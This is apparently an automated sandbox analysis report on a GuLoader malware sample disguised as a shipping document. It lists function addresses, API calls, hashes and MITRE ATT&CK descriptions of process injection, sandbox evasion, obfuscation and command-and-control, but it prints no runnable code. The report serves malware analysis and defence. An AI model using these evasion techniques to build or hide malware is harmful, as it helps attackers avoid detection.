Opcode Fuzzy Hash: abf33f7cf3f4278de51cedd96478e737f7a31ecbe607255eb301051c9bac2704
Instruction Fuzzy Hash: 552103B030478B9EEF319E64CD50BEA3F94BF10380F48852EED8AA7481E7718A81D711

Uniqueness

Uniqueness Score: -1.00%

Function 00563A42, Relevance: 1.6, APIs: 1, Instructions: 65networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004,?,?,00000004,?,00000000), ref: 00563A6A

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 318d181826eb646f58863263a9b43be525bfe9d48d6151d67842e4f3c532a6ec
Instruction ID: 3ec20af918bb81748e55b1d1012699ef411e7b3a6e275eb25ed2a91bd1c581b5
Opcode Fuzzy Hash: 318d181826eb646f58863263a9b43be525bfe9d48d6151d67842e4f3c532a6ec
Instruction Fuzzy Hash: 4221D6B03443879EEF318E64CD55BED3F95BF11380F044529ED8AA6591E7718B41D711

Uniqueness

Uniqueness Score: -1.00%

Function 00565349, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 33bf157c580e201f7ad36b9a6c673d1bac41f70d69558b87b829d1e12ac76ed8
Instruction ID: 6c2076f28ea66e760a5efb22837545da0e6b567898fe7348e2e5aa3dba4337b2
Opcode Fuzzy Hash: 33bf157c580e201f7ad36b9a6c673d1bac41f70d69558b87b829d1e12ac76ed8
Instruction Fuzzy Hash: 1601FDA45C8F03E9CE2029E469A9BBD0D117BA0B63FB04E9BF88343505BD9444C1AA67

Uniqueness

Uniqueness Score: -1.00%

Function 00565412, Relevance: 1.6, APIs: 1, Instructions: 50libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 707e290095efeb693fd9c73b1a162f31dd083ec5afa01d9e7d40210115711cd9
Instruction ID: 4f0dc664fb39324c7a77a5349eabe05a6b1a9ad096e38f15536afd6e68694c16
Opcode Fuzzy Hash: 707e290095efeb693fd9c73b1a162f31dd083ec5afa01d9e7d40210115711cd9
Instruction Fuzzy Hash: 6401D4A16CDFC1A9DF22A6B0065839C2F52BCA2763B5C4ACF99C323403F95481858786

Uniqueness

Uniqueness Score: -1.00%

Function 005653F0, Relevance: 1.5, APIs: 1, Instructions: 42libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d75bfdbff58aa9186195ab803ff7c7c6a7ab549e463b9c50b588962cc08053fc
Instruction ID: 36d3b276e1abcd4032ca3b8c75fbec92b5a9ab8d587313edffca132af57199bc
Opcode Fuzzy Hash: d75bfdbff58aa9186195ab803ff7c7c6a7ab549e463b9c50b588962cc08053fc
Instruction Fuzzy Hash: D8F0F6A56CDFC2A89F2276E406082AD1F527D65757FA84E9BA88323402BD6441C25B4B

Uniqueness

Uniqueness Score: -1.00%

Function 005606F6, Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00560760,?,00000000), ref: 00560743

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 34e678f444fee2d0f1cd45b6523d50fda250c24a1199431944e923cd53e4a59f
Instruction ID: 87ca36f77bf3e7044a6dcf05ac57201d29aed4571bce6ed1ebefc1fda05752d7
Opcode Fuzzy Hash: 34e678f444fee2d0f1cd45b6523d50fda250c24a1199431944e923cd53e4a59f
Instruction Fuzzy Hash: 8EF02B7420AB82D9DF22563888287D62F91EF433A4F685B4DD9E7870D1CB11A48BCB15

Uniqueness

Uniqueness Score: -1.00%

Function 00565434, Relevance: 1.5, APIs: 1, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aa285a0ec925e7810a677c3c27b528818634ebe317775ea418b9a307e74b1839
Instruction ID: 52a4902c50ea731c568516e71383c468bf9a333c45225f1e2400df893e97658f
Opcode Fuzzy Hash: aa285a0ec925e7810a677c3c27b528818634ebe317775ea418b9a307e74b1839
Instruction Fuzzy Hash: 44F02EB26CDFC2A98F2266A0020C3ED1F537D65753F5C8D8B944323001F5B441855B46

Uniqueness

Uniqueness Score: -1.00%

Function 00560723, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00560760,?,00000000), ref: 00560743

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 271be9530cca532cae787498011362591f1f1cc4915895629cea3b4c55018b38
Instruction ID: 6376519155105387960b7f251818563694f4345e26ef3a5d0921f8efc7135c6b
Opcode Fuzzy Hash: 271be9530cca532cae787498011362591f1f1cc4915895629cea3b4c55018b38
Instruction Fuzzy Hash: 8AF08470205B8169DB22A238481478A3F80EF432B4F2C1B4ED8E78B1C2C311A18AC705

Uniqueness

Uniqueness Score: -1.00%

Function 00563207, Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,005631A1,00000000,00563281,00560860,00000000,000000FE,00000011,00000000,00000000), ref: 00563244

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c41cc8cad668b1daae50886fb1e76c6ebd42a011a06477934189784665c51820
Instruction ID: d90f900ba3a6fd08a6521eda061e4e37d582714a6c873110b9e9f35e5c35a68f
Opcode Fuzzy Hash: c41cc8cad668b1daae50886fb1e76c6ebd42a011a06477934189784665c51820
Instruction Fuzzy Hash: 4FF0558830C7C279F73162300E35BA68F52BB91346F0C864F9F86250C393A086418216

Uniqueness

Uniqueness Score: -1.00%

Function 005654A4, Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: dffa7350da26e28f33514e3868e14347af1a5992f053f8c722d3acc48bf57f3f
Instruction ID: 54980d8b2244c7cbe5bd436ec82f48afb45cb62fd29b015743bd84e162fcf040
Opcode Fuzzy Hash: dffa7350da26e28f33514e3868e14347af1a5992f053f8c722d3acc48bf57f3f
Instruction Fuzzy Hash: 5EE020B45CEFC1A6CF22637002083DA6F627D51397F5C8D8F9D8723401F57581454744

Uniqueness

Uniqueness Score: -1.00%

Function 00563227, Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,005631A1,00000000,00563281,00560860,00000000,000000FE,00000011,00000000,00000000), ref: 00563244

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0e232bcf4e6416a2afa8f1608ae7b167b4ec8c1ee7c855c32d7bc144bb1c30ff
Instruction ID: aaa65986feed0d2eebe6a49688a4dffe558719137af2391a4de58fecb1cd09fb
Opcode Fuzzy Hash: 0e232bcf4e6416a2afa8f1608ae7b167b4ec8c1ee7c855c32d7bc144bb1c30ff
Instruction Fuzzy Hash: 0AD01234388300FAF67855305D76FF951549F90B40F548429FF8B191C586E19D80D115

Uniqueness

Uniqueness Score: -1.00%

Function 00564146, Relevance: 1.5, APIs: 1, Instructions: 13libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000,00564114,005613D2,00000000,00000000,00000000,00000000,00000032,0000033D,?,00563361,?,?,00000004,?,00000000), ref: 0056416E

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c1a8d9516df45537cb6a833fe96e0bdc24c3c8e3b4fc9512b92735e4eb7d5dad
Instruction ID: 7d7ec6731eb80f72bdec56b68331c88191b2a0775aad0240fcc6656ec55c9a42
Opcode Fuzzy Hash: c1a8d9516df45537cb6a833fe96e0bdc24c3c8e3b4fc9512b92735e4eb7d5dad
Instruction Fuzzy Hash: 5BD0A7E130E7C41CDB33E37005043452FA1575314434C868F81D076817C944C799D391

Uniqueness

Uniqueness Score: -1.00%

Function 00563C01, Relevance: 1.3, APIs: 1, Instructions: 11sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 00563C14

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2c872cf8926c0c315fa89fa4af148b5b9aec613e90a8bf06b1ab510342c23d63
Instruction ID: 88fd1b9b3912d61fcd1cae122055e24dc00fc09adf34a90f6dfdea060f6f09bb
Opcode Fuzzy Hash: 2c872cf8926c0c315fa89fa4af148b5b9aec613e90a8bf06b1ab510342c23d63
Instruction Fuzzy Hash: 16C02B003053C8CFF3110780CA0EFD428822F02338F700205FE07230C303A94B011403

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report shipping Document and Bill Of Landing.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Function 0042B339, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 57
COMMON

Function 00401CCC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON